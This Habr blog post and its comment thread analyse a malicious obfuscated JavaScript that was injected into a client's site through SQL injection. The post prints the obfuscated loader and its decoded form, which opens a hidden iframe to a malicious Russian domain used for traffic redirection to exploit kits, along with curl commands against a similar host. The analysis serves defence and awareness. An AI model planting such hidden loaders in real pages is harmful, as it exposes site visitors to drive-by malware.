Как я узнал, что у нас сливают трафик

    Приветствую Вас уважаемое хабра-сообщество. Хочу поведать Вам о том, как сливали трафик у одного из моих клиентов.
    Сидел я поздним вечером, и решил пройтись по сайтам клиентов, и на одном из них, я увидел, что чуть-чуть сместился один div.
    Посмотрев исходный код и пролистав его туда-сюда раз 10, я увидел, что скрипт подгружается с интересного домена:

    Трудно заметить, что последний подключаемый скрипт ведет на goog1(цифра)e-analitics.com

    В первую очередь, мне было интересно, не то, как он туда попал, а что он из себя представляет.

    
    var $h = ((\u0073elf + 0 * 1)[0 ^ ([] * 0)] == '\x5B');
    if ($h)
    {
        $j = ['1^%0.%4[%b/%5=%c;%d_%8|%6?%3>%f-%9!%7$%e', '%a)%2('];
    }
    var $d =
    {
        '$sA': 'str\x69\x6Eg',
        '$l6': [],
        '$EI': '\x6A\x6Fin',
        '$qH': '\x73\x75bstr',
        '$fJ': 'decode\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6Eent',
        '$FP': true,
        '$2K': 'sp\x6C\x69t'
    },
        $sA = function (_)
        {
            for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
            {
                $j += '\x25' + $P[$g++] + $P[$g--];
            }
            $E['eva\x6C']($E[$d.$fJ]($j));
        },
        $P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>?>==;$=>.>.>[>==;$=>.>.>?[>=;$=>.>.>?>=?_?=?#$[(|($?!??$(?^=;$|>?[[=;$|>?>=($(!(;=-?#>_($$>=;$|>?>==;$|>$>[=;$|>[>^=;$|>$>[=;$|>$>[=;$|>$>(?!?($=$[?=($>/=-$^=/=-?#=_(|($=;$|>$>>$(?>($(;($?|$[$[$.>)(-(-$??(?#?!?=?=$$$(=;$|>([==;$|>$>(=;$|>$>==;$|>([?=;$|>?>!=;$|>?[==;$|>([==;$|>?>>=;$|>?>$=;$|>?>!=;$|>>[?=;$|>?>[=;$|>?>==;$|>?>?=;$|>?>^=;$|>$>=?;$[($(!>/=-$^(#$>$[$!?;?=(#$.?-$>?!$[?!?-?#>_($?^?($>=;$|>?[?=;$|>?[>=;$|>$>==;$|>$>[?=($>/=-$^(#$>$[$!?;?=(#$$?!?[$[?|>_($>^>?$.$|($>/=-$^=/=-?#=_(|($??$(=;$|>?>^=;$|>?[[=;$|>?>=?(?-$(?[?=$(($(;(.?#?^$?=;$=>.>.>?>!=;$=>.>.>?>$=;$=>.>.>?>^$[?-$((#$=$>?==;$=>.>.>$>(=;$=>.>.>[>^=;$=>.>.>?>$?=?#$[(#?!=;$=>.>.>?[==;$=>.>.>?>[=;$=>.>.>?>=$|[-??(|($??>.?^>$?^>^>[>(?(>$>=>=>^>$>(?[?^>$>(????>$>[?^>^?^?>>(>=>^>!>!($(!(/>^(!>/=-$^(#$>$[$!?;?=(#?;?=??$[(.>_(.($(_>=>=>!>$$.$|($>/?[=;$=>.>.>?[?=;$=>.>.>?>>$=?_?=?#$[(#$$=;$=>.>.>$>(?!$[?=(|($>;?[?!$?(.?!?[>_=;($=-=-?[$(>^>^>!>>>|=;($>#>;(-?[?!$?>#($(!>/=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?$?=$[[=?;?=?_?=?#$[[($![!?[(|($=-=-?[$(>^>^>!>>>|($(!(#?^$.$.?=?#?[[>?|?!?;?[(|=-$^(!>/',
        $w = function ()
        {
            $w = $j[$d.$EI]('\x23')[$d.$2K]('\x25');
            for (var $1 in $w)
            {
                if (typeof($w[$1]) == $d.$sA)
                {
                    $P = $P[$d.$2K]($w[$1][$d.$qH](1))[$d.$EI]($w[$1][0]);
                }
            }
            return this;
        },
        $E = $w(),
        $j = '';
    $sA('le\x6E\x67th');
    


    Раскодируем поэтапно скрипт воспользовавшись обратными функциями:



    Результаты первого прохода:

    
    var $h = ((\u0073elf + 0 * 1)[0 ^ ([] * 0)] == '[');
    if ($h)
    {
        $j = ['1^%0.%4[%b/%5=%c;%d_%8|%6?%3>%f-%9!%7$%e', '%a)%2('];
    }
    var $d =
    {
        '$sA': 'string',
        '$l6': [],
        '$EI': 'join',
        '$qH': 'substr',
        '$fJ': 'decodeURIComponent',
        '$FP': true,
        '$2K': 'split'
    },
        $sA = function (_)
        {
            for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
            {
                $j += '%' + $P[$g++] + $P[$g--];
            }
            $E['eval']($E[$d.$fJ]($j));
        },
        $P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>?>==;$=>.>.>[>==;$=>.>.>?[>=;$=>.>.>?>=?_?=?#$[(|($?!??$(?^=;$|>?[[=;$|>?>=($(!(;=-?#>_($$>=;$|>?>==;$|>$>[=;$|>[>^=;$|>$>[=;$|>$>[=;$|>$>(?!?($=$[?=($>/=-$^=/=-?#=_(|($=;$|>$>>$(?>($(;($?|$[$[$.>)(-(-$??(?#?!?=?=$$$(=;$|>([==;$|>$>(=;$|>$>==;$|>([?=;$|>?>!=;$|>?[==;$|>([==;$|>?>>=;$|>?>$=;$|>?>!=;$|>>[?=;$|>?>[=;$|>?>==;$|>?>?=;$|>?>^=;$|>$>=?;$[($(!>/=-$^(#$>$[$!?;?=(#$.?-$>?!$[?!?-?#>_($?^?($>=;$|>?[?=;$|>?[>=;$|>$>==;$|>$>[?=($>/=-$^(#$>$[$!?;?=(#$$?!?[$[?|>_($>^>?$.$|($>/=-$^=/=-?#=_(|($??$(=;$|>?>^=;$|>?[[=;$|>?>=?(?-$(?[?=$(($(;(.?#?^$?=;$=>.>.>?>!=;$=>.>.>?>$=;$=>.>.>?>^$[?-$((#$=$>?==;$=>.>.>$>(=;$=>.>.>[>^=;$=>.>.>?>$?=?#$[(#?!=;$=>.>.>?[==;$=>.>.>?>[=;$=>.>.>?>=$|[-??(|($??>.?^>$?^>^>[>(?(>$>=>=>^>$>(?[?^>$>(????>$>[?^>^?^?>>(>=>^>!>!($(!(/>^(!>/=-$^(#$>$[$!?;?=(#?;?=??$[(.>_(.($(_>=>=>!>$$.$|($>/?[=;$=>.>.>?[?=;$=>.>.>?>>$=?_?=?#$[(#$$=;$=>.>.>$>(?!$[?=(|($>;?[?!$?(.?!?[>_=;($=-=-?[$(>^>^>!>>>|=;($>#>;(-?[?!$?>#($(!>/=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?$?=$[[=?;?=?_?=?#$[[($![!?[(|($=-=-?[$(>^>^>!>>>|($(!(#?^$.$.?=?#?[[>?|?!?;?[(|=-$^(!>/',
        $w = function ()
        {
            $w = $j[$d.$EI]('#')[$d.$2K]('%');
            for (var $1 in $w)
            {
                if (typeof($w[$1]) == $d.$sA)
                {
                    $P = $P[$d.$2K]($w[$1][$d.$qH](1))[$d.$EI]($w[$1][0]);
                }
            }
            return this;
        },
        $E = $w(),
        $j = '';
    $sA('length');
    


    Результат второго прохода:

    
    var _q = \u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
        _n = 's\x65\x74\x41\x74\x74\x72ibute';
    _q[_n]('\x73rc', 'http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt');
    _q.style.position = 'abs\x6F\x6C\x75\x74e';
    _q.style.width = '16px';
    _q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199') + 1);
    _q.style.left = '-5597px';
    eval('<div id=\'__dr11938\'></div>');\u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
    


    Далее уберем 16-ричную систему функцией unescape

    
    var _q = document.createElement('iframe'),
        _n = 'setAttribute';
    _q[_n]('src', 'http://vbnieewr.ru/in.cgi?default');
    _q.style.position = 'absolute';
    _q.style.width = '16px';
    _q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);
    _q.style.left = '-5597px';
    document.write('<div id=\'__dr11938\'></div>');
    document.getElementById('__dr11938').appendChild(_q);
    


    Теперь мы привели скрипт к читаемому виду, и теперь хорошо видно, что создаётся ифрейм на адрес vbnieewr.ru/in.cgi?default.

    Далее пробив домены по whois я узнал, что они созданы недавно:
    domain: VBNIEEWR.RU
    nserver: ns1.ubercontrol.ru.
    nserver: ns2.ubercontrol.ru.
    state: REGISTERED, DELEGATED, VERIFIED
    person: Private Person
    registrar: REGRU-REG-RIPN
    admin-contact: www.reg.ru/whois/admin_contact
    created: 2012.01.13
    paid-till: 2013.01.13


    Получил заголовки ответа от скрипта vbnieewr.ru/in.cgi?default
    
    array(23) {
      [0]=>
      string(18) "HTTP/1.1 302 Found"
    ...
     [4]=>
      string(22) "Location: http://ya.ru"
    ....
      [5]=>
      string(17) "Connection: close"
    ...
    


    И понял, что идет банальный слив трафика, и скорее всего через скрипт Sutra TDS.

    Примерная схема работы:

    Адрес админки я подобрать не смог, но может кто нибудь из хабра-юзверей сможет.

    Кстати, данный js скрипт вставили из-за sql инъекции, которую удалось найти по логам и благополучно закрыть.

    UDP: Новый URL с подобным скриптом: yandex-metrika.com/watch.js


    На всякий случай проверьте свои сайты на подобный код.
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 85

      +47
      В скрипте не только «1» вместо «l», но и analitics вместо analytics
        +7
        Да и правда, спасибо за внимательность. Но всё же, с первого раза я не подумал ничего плохого на этот скрипт, но потом всё же решил проверить
        +1
        Сначала прочитал без единичек адрес, думал, опять индийский колл-центр балуется :)
          +44
          Для далеких от веб — что такое «слив трафика»?
            +8
            Вставка кода, таким образом, что у посетителя подгружается еще один сайт, того кто сливает. В результате этот траффик можно использовать в разнообразных целях
              +16
              То есть, я правильно понимаю, что кто-то таким образом поднимает себе количество посетителей сайта? Или «слив трафика» это что-то другое?

              Извините, я тоже далёк от веба, но новость заинтересовала.
                +11
                накрутка посетителей это самое безобидное, обычно троянов подсаживают
                  +19
                  на подгружаемом хосте обычно находится так называемая «связка» — набор эксплоитов, которые используют уязвимости вашего браузера или плагинов к нему для выполнения произвольного кода и, как следствие, выполнения различной малвари: win-блокеров, ddos-ботов, формграбберов и т.д. Связка определяет версию браузера, доступен ли флэш, ява, etc, затем отдает подходящий эксплоит, на настоящее время самым актуальным эксплоитом является Java Rhino (CVE-2011-3544).
                  P.S. используйте Google Chrome
                    –52
                    А у меня сайт на Common Lisp и MySql я не использую, но все равно пост порадовал — хорошо что у меня такого нет и не будет :)
                      +1
                      Радуйтесь дальше, все хорошо )
                        +5
                        Помойму роли нет на чём написан сайт, всё равно языком програмирования Вы генерируете и преподносите HTML-код конечному юзеру. А данный топик касается именно HTML, так что Вам боятся есть чего
                        +1
                        Порадовал Касперский — не одна ссылка не открылась, всё блокировалось.
                        Но грустно то, что время от времени я попадаю на странички с ворнами от Касперского.
                        Чаще, чем раньше :(
                          +4
                          Моя уверенность в К. закончилась давно, в тот момент, когда явно вирусный файл он почему-то не отдетектил (знакомый скачал что-то подозрительное, проверил лицензионным К., запустил — и попал...)

                          К. сам по себе не виноват: вирус можно написать так, что его ни один эвристический, не то что сигнатурный, детектор, не заметит, разве что всполошится какая-нибудь система анализа поведения в системе, если очень повезет. Зашита от фишинга тоже не исключение, она работает по спискам и оценкам, а это дело такое, не 100% надежное…

                          Про знакомого этого — вроде как он «сам виноват, зачем подозрительный файл открыл», но через 1х1 фрейм можно незаметно подлить на машину очень даже много «добра».

                          Вывод — бекапиться, не верить в защиту, осторожничать, запрещать все, разрешать только нужное. Которое, если не повезет, вполне будет пропущено системами защиты.

                          Осталось себя только заставить жить именно так, и никак иначе! ))
                            0
                            Я согласен с Вами, и в целом Вы правы.
                            Да и рассуждать на эту тему можно много.
                            Из АВ решений Касперский не зря считается наилучшим.
                            Как бы там нибыло, главная защита — голова. И каспер, и система предупредят в большинстве случаев пользователя. Если конечно пользователь не сидит под админкой в системе.
                            Как говорил Кевин Митник, безопасность слишком часто просто иллюзия и иногда иллюзия может быть хуже легковерия, наивности или невежества.
                              0
                              Я всегда себе напоминаю фразу — «я плачу в интернет-магазинах кредиткой не потому, что верю интернет-магазину, а потому, что, случись кому-то украсть номер моей карты и купить что-то, я опротестую эти покупки, и ничего не потеряю».

                              Когда же риск потери (данных, работы, времени) не прикрыт кем-то сторонним, остается все время проверять и ничему не доверить. И хорош ли К, или нет — дело-то десятое, пусть он отбивает (условно) 990 из 1000 атак, против 950 из 1000 у конкурентов, с остатком (10 или 50) останется иметь дело мне самому…

                              У меня у знакомого украли пароль от ftp-доступа к его сайту. Точнее, просто подобрали, т.к. вирусни на машине не нашлось. Так он узнал об этом, только когда Гугл его сайт в опасные занес — вот что обидно. К, кстати, и в его случае был куплен, и работал…
                          +4
                          >используйте Google Chrome
                          Вы же хотели сказать «любой современный браузер с автоматическим обновлением», правильно?
                            +1
                            От 0day эксплоитов автоматическое обновление не спасёт.
                              +5
                              Как, собственно, и использование Google Chrome.
                                0
                                Весьма значительная доля «браузерных» эксплойтов нынче разрабатывается не под сами браузеры, а всевозможные плагины: Flash проигрыватель, Java RE, Adobe Reader, Windows Media Player.
                                Браузеры то уже худо-бедно научились регулярно патчить и автообновлять, а с остальным пока не так радужно.
                                0
                                не только это, в сравнении с остальными браузерами Chrome — самый защищенный. Взгляните на статистику, взятой с реальной связки:
                                Opera — 15,91%
                                IE — 15,51%
                                Firefox — 13,97%
                                Chrome — 0,46%
                                1.bp.blogspot.com/-7V22h6JuKgg/TuJrMPh2TWI/AAAAAAAAD1c/kazMGH2LBt8/s1600/stats.png
                                  0
                                  Это проценты от чего? Какие версии браузеров?
                                  Хром с самого начала обновляется в фоне без участия пользователя. Новый ФФ тоже так умеет, но число людей, сидящих на старых версиях всё ещё велико.
                                    0
                                    это процент так называемого пробива: количество браузеров, через которые удалось загрузить малварь, от общего числа (все версии конкретного браузера). Да, автоапдейт играет ключевую роль, но вот еще несколько преимуществ хрома:
                                    scarybeastsecurity.blogspot.com/2012/01/dirty-secret-of-browser-security-1.html
                                      0
                                      Действительно, с обновлением плагинов могут быть проблемы. Но, например, у флеша есть свой механизм автообновлений, а остальные лучше вообще отключать в любом браузере. Кстати, изначально никаких плагинов в браузерах нет, а при их установке пользователь всегда предупреждается об опасности.
                        • UFO just landed and posted this here
                            0
                            Да. Очень часто это используется не для накрутки траффика, а для отдачи вирусни, в целях пополнения ботнетов, получения профита с винлокеров, и т.д.
                              0
                              Но почему тогда в скрипте ya.ru? Зачем Яндексу хиты поднимать?
                                +1
                                Насколько я понял, если передается параметр, то грузится то что нужно владельцу ТДС, иначе редирект на ya.ru, от любопытных.
                                  +5
                                  как отметил автор, используется TDS (Trafic Distribution System) — система распределения трафика. В ней, по всей видимости, задано правило, при котором посетители без Referer перенаправляются на безобидный ya.ru
                            +7
                            Не могли бы Вы пояснить, что за термин такой «слив траффика»? Без ведома пользователя в фрейм грузятся левые страницы для создания уникальных посетителей на них? Или у кого-то есть лишний траффик, который надо «слить» в смысле потратить? Конечно, можно найти описание в интернете, но хотелось бы прямо из статьи понимать, что автор имел в виду (слишком специальная тема).
                              0
                              Там упомянута связка. Это пачка эксплоитов которая «пробивает» браузер с целью заражения посетителя какой-нибудь софтинкой.
                              +2
                              Сегодня похожее было на 2х проектах клиентов. Только используется iframe:
                              iframe width=«1» height=«1» frameborder=«0» scrolling=«no» src=«hotlog.my03.com/vse» /iframe

                              Делаем $ curl hotlog.my03.com/vse
                              Результат: pastebin.com/09Hk4S1X

                              Схема такая же. Далее если запросить полученный адрес через curl, то получаем:
                              $ curl hotlog.my03.com/go/in.cgi?2
                              meta http-equiv=«REFRESH» content=«1; URL='http://google.com'»

                              Тут уже редирект на гугл:)

                                +15
                                Пояните плиз, в двух словах эту фразу «Раскодируем поэтапно скрипт воспользовавшись обратными функциями:»
                                  +1
                                  Нужно делать все тоже самое, когда кодировали скрипт, только в обратном порядке. Например: При кодировке перевели некоторые символы в шеснадцатеричную систему, а когда мы расшифровываем скрипт, мы переводим из шеснадцатеричной в десятеричную.
                                    +11
                                    Я тоже далек от веба и джава скрипта, но интересно было бы понять. А как вы поняли каким образом перекодировать в первый раз и во второй и какой тулзой это делали или каким кодом? Я вот посмотрел отличия и сходу не усмотрел каких то закономерностей, заметил только, что переменные как-то адски перестали называться с долларами и строки поменялись. Какое слово надо в гугле поискать, чтобы про это почитать?
                                      0
                                      Видимо, общей практики нет. Например, я в функции $sA закомментировал последнюю строчку, которая эвалит злобный код ($E — это Window), и распечатал значение переменной var x = $E[$d.$fJ]($j); (тут делает decodeURIComponent конечной строки, которой закончились преобразования). Получился код, как в третьем подходе у автора, но вот unescape не отработал (выводит ту же строку). Его надо применять как-то посимвольно?
                                        +2
                                        Да, обрабатываем все части в ручную — отдельно от всего кода, и выводим результат через алерт
                                  +11
                                  Ну так а что, ребята? Это хозяйство попадает под 272 статью, напишите заявление в ментуру, вам бесплатно, а они пусть отрабатывают.
                                    0
                                    Пустая трата времени.
                                    +2
                                    XSS через SQL инъекцию…
                                      +26
                                      А что, по-вашему, должен был сделать взломщик? Дефейснуть сайт и разместить голую жопу на глагне?
                                        0
                                        Что делать взломщику — это его дело. Дырки, судя по всему, две, а не одна. Вторую тоже не помешает заделать.
                                          –4
                                          Конечно, как в замечательном фильме }{0TT@6bl4 :)
                                          +3
                                          XSS внедренный в SQL inj это SiXSS, но тут явно речь не об этой атаке.
                                          XSS тут как последствие (возможной) SQL инъекции, но не как активный результат SQL инъекции.
                                            0
                                            Вы правы, я сделал неправильный вывод из того, что сдвинулся div. Как оказалось, получили хеш админа.
                                          +5
                                          AlexanderPHP, вот, гляньте — http://forum.antichat.ru/thread305158.html. Отсюда ноги растут >;)
                                            0
                                            Прямо таки рассадник зла. Чувак себе купил доменов, продает иньекцию и кому то там надо для целей нехороших. Я вот не пойму на самом деле — они же не могут адресно атаковать конкретных людей. Выходит у них цель просто замутить себе свой ботнет?
                                              +1
                                              image
                                              отсюда
                                                0
                                                выпилили тему
                                                гуглокэш пока ещё помнит что там было
                                                сделал копию: www.peeep.us/e930014c
                                                0
                                                Очень хотелось бы выяснить каким образом через sql-инъекцию могли поменять шаблон сайта? Или шаблоны в бд лежат?
                                                  –1
                                                  Судя по тому, что взломщик не смог вставить скрипт, не покорёжив верстку, возможно, какие-то данные из базы выводятся в сыром виде, в атрибут какго-то тега.
                                                    +3
                                                    как вариант sql инъекция->список хешей администраторов->подбор паролей к хешам->admin доступ
                                                      +1
                                                      -> Правка шаблона из админки (например, если это Joomla) и/или загрузка «шелла» через эксплойты на сервер для последующей правки всего что можно
                                                    0
                                                    Скажите, подобную загрузку других сайтов можно как-то обнаружить плагинами к Firefox? Покажут ли это плагины, показывающие лог загрузки сайта? Какой плагин порекомендуете?
                                                      +1
                                                      Лог загрузки сайта может показать Firebug (вкладка сеть), сейчас что-то похожее есть во всех браузерах по клавише F12.
                                                      Но вот чтобы само ловило попытки инъекций — я такого не знаю.
                                                        +2
                                                        NoScript для Firefox блокирует скрипты с неразрешенных доменов.
                                                          +2
                                                          Обнаружить — врядли, а вот обезопасить может — NoScript. Только если разрешаешь скрипт — следи чтобы не разрешить случайно goog1e вместо google (хотя у меня так вообще google-analytics по умолчанию везде забанен за ненадобностью)
                                                          +24
                                                          хорошие зрение сто рублей премия
                                                            +3
                                                            хорошее зрение вот грамота спасибо =)
                                                            +4
                                                            Интересно, обнаруживает ли Яндекс подобные вещи на сайтах с целью предупреждения вебмастеров?
                                                              0
                                                              Как Яндекс узнал о заражении?
                                                              Яндекс проверяет страницы сайтов из поискового индекса. Для определения, присутствует ли на странице вредоносный код, используется технология нашего партнера компании Sophos® и собственный антивирусный комплекс.
                                                              наверх

                                                              Как часто происходят проверки?
                                                              Периодичность проверок может отличаться для разных сайтов. Невозможно гарантировать, что какой-то определенный сайт был или будет проверен в строго определенное время. Поэтому данные о появлении вредоносного кода на сайтах или его устранении могут обновляться с задержкой.
                                                              Если было выявлено, что сайт заражен, он обязательно будет в дальнейшем перепроверяться. С каждой новой проверкой интервалы между ними будут становиться больше. Поэтому чем раньше будет найден и устранен вредоносный код, тем оперативнее Яндекс об этом узнает и снимет пометку о потенциальной опасности сайта.


                                                              help.yandex.ru/webmaster/?id=1059440
                                                              +2
                                                              >> $P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>
                                                              Это ведь не руками пишется? Как вообще столь мелкий скрипт раздувается? о_0 Обфускатор какой-то используется или что-то подобное, да?

                                                              >> Раскодируем поэтапно скрипт воспользовавшись обратными функциями:.
                                                              Не могли бы вы подробнее рассказать об этом?
                                                                0
                                                                Согласен. Тоже интересует.
                                                                Раскодируем поэтапно скрипт воспользовавшись обратными функциями:


                                                                Совершенно неясно какими обратными функциями Вы пользовались. Обычно для расшифровки обфусцированного Java Script достаточно вызвать через alert() зашифрованные данные после их расшифровки самим скриптом. Но здесь этого не происходит.
                                                                  +3
                                                                  Сегодня буду писать подробную статью, как это делается.
                                                                    0
                                                                    Только хотел задать тот же вопрос. Очень буду ждать.
                                                                      0
                                                                      Вот да! Будет шикарно!
                                                                      И это, если возможно, затроньте не только JS, но и другие скриптовые языки. Наверняка ведь есть какие-то общие моменты.
                                                                      PHP например. Там тоже встречал монструозные, страшные конструкции когда искал примеры кода.

                                                                      А, и еще момент по теме анализа! Знаете, бывает хочешь посмотреть какой-нибудь скрипт, открываешь, а он не для людей совсем. Т.е. для машины синтаксис правильный, но сам код в пару длииииинных строчек. Как с этим быть? Существуют ли ~«pretty_print'еры»?
                                                                        –1
                                                                        Спасибо, конечно. Но зачем плодить статьи? Почему нельзя сделать одну полноценную? Если из данной статьи выбросить весь код, который так и не объяснён как деобфусцирован, то статья получится в 3 строчки.
                                                                        0
                                                                        В данном случает даже alert не нужен. Firebug -> сценарии -> показывать eval-скрипты -> найти, что он выполнил.
                                                                        Опасное занятие, случайно пробить себя сплоитом плёвое дело. Но если уже загрузили страницу, можно одним глазком подглядеть.
                                                                        +2
                                                                        Конечно не руками. Если посмотреть ссылку выше на antichat, то нетрудно найти тему где автор поделки предоставляет услуги шифрования javascript
                                                                        forum.antichat.ru/thread303899.html
                                                                          0
                                                                          Обфускаторов полно подобных, платных, бесплатных, левых, правых…

                                                                          Например такой вроде тут (на Хабре в смысле) о нём и вычитал, и по моему там было и инфо о раскодировке…
                                                                        0
                                                                        AlexanderPHP: а использовалась готовая CMS?
                                                                          +1
                                                                          Самописная, нашел там шелл, через который вставили потом код.
                                                                          Действия следующие: получили хеш админа, залили шел, вставили код.
                                                                          0
                                                                          Как вы расшифровали код плохо понял, ну да ладно, сам имел дело с чем-то подобным года 3 назад. Принцип тот же был. Спасибо, не думал что такое еще встречается где-то.
                                                                            0
                                                                            Почему-то кажется мне что надо узнать значение $w и внутри функции $sA значение $E[$d.$fJ]($j), тогда весь скрипт станет как на ладони, делать это на своем ноуте правда не хочется…
                                                                            +1
                                                                            я увидел, что чуть-чуть сместился один div — глаз алмаз )
                                                                              0
                                                                              Интересно, RequestPolicy для FF видит такое/спасает от подобного?
                                                                                0
                                                                                А что это за трюк?
                                                                                _q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);

                                                                                Понятно что setAttribute('frameborder', 0) в частном случае, но зачем извращение с f0a7a142b755172da72ff74a1ac25199 и что это в целом за магическая строка? Может троянчеки должны в юзер агент вписывать эту строку и ставить бордер отличный от нуля для ранее зараженных пользователей, но опять таки зачем?
                                                                                  –1
                                                                                  Код аналогичен _q.setAttribute('frameborder, 0);. Делается для того чтобы убрать рамку трехмерную вокруг iframe. Магическая константа — md5 хеш, если кто расшифрует — будет понятнее.
                                                                                    0
                                                                                    navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') всегда возвращает -1, так что не думаю что в этом хеше есть что-то интересное. Более вероятно добавлен для того чтобы наверняка не оказаться в UserAgent браузера.
                                                                                      0
                                                                                      Наверно для этого достаточно было бы один символ, недопустимый по протоколу написать, откуда-нибудь из экзотических недр Юникода.
                                                                                      Хотя это, разумеется, не отменяет возможность использования хеша, по каким-то скрытым мотивам автора кода
                                                                                    0
                                                                                    «что это в целом за магическая строка?»

                                                                                    Хеш соответствует строке «1326450996». Число, судя по всему, случайное и в интернете маловстречающееся.

                                                                                    Было бы логично, если бы этот хэш присутствовал в UserAgent знающих людей (то бишь автора и, возможно, его клиентов) — чтобы самим видеть, что попал на заражённый сайт — либо как сигнал опасности, либо как индикатор, что скрипт установился успешно.
                                                                                    –1
                                                                                    Узнаю знакомый криптер — cryptoservice.info/
                                                                                      +1
                                                                                      Стало интересно чем это закриптованно, нагуглил их сервис — cryptoservice.info, и видать до них дошел хабраэффект, так как в новостях они написали:
                                                                                      Наш сервис относительно молод, но функционал наш велик. Спустя несколько месяцев с начала нашей работы мы заметили, что у нас превалирует часть клиентов, криптующих исключительно iframe, хотя сервис изначально задумывался как платный криптер/обфускатор Javascript-кода вообще. Теперь мы видим, что это используется для распространения вредоносного ПО. С этого момента мы прекращаем криптовать iframe-коды. Доступными останутся только криптеры Javascript, контента и ссылок. В течении недели криптер iframe будет убран с нашего сервиса. Пользователям с уже оплаченным аккаунтом iframe-криптер будет доступен до истечения аккаунта.
                                                                                        0
                                                                                        Наш сервис относительно молод, но функционал наш велик
                                                                                        в мемориз
                                                                                        0
                                                                                        bit.ly/y2D3Gt
                                                                                        делитесь вирусами)

                                                                                        Only users with full accounts can post comments. Log in, please.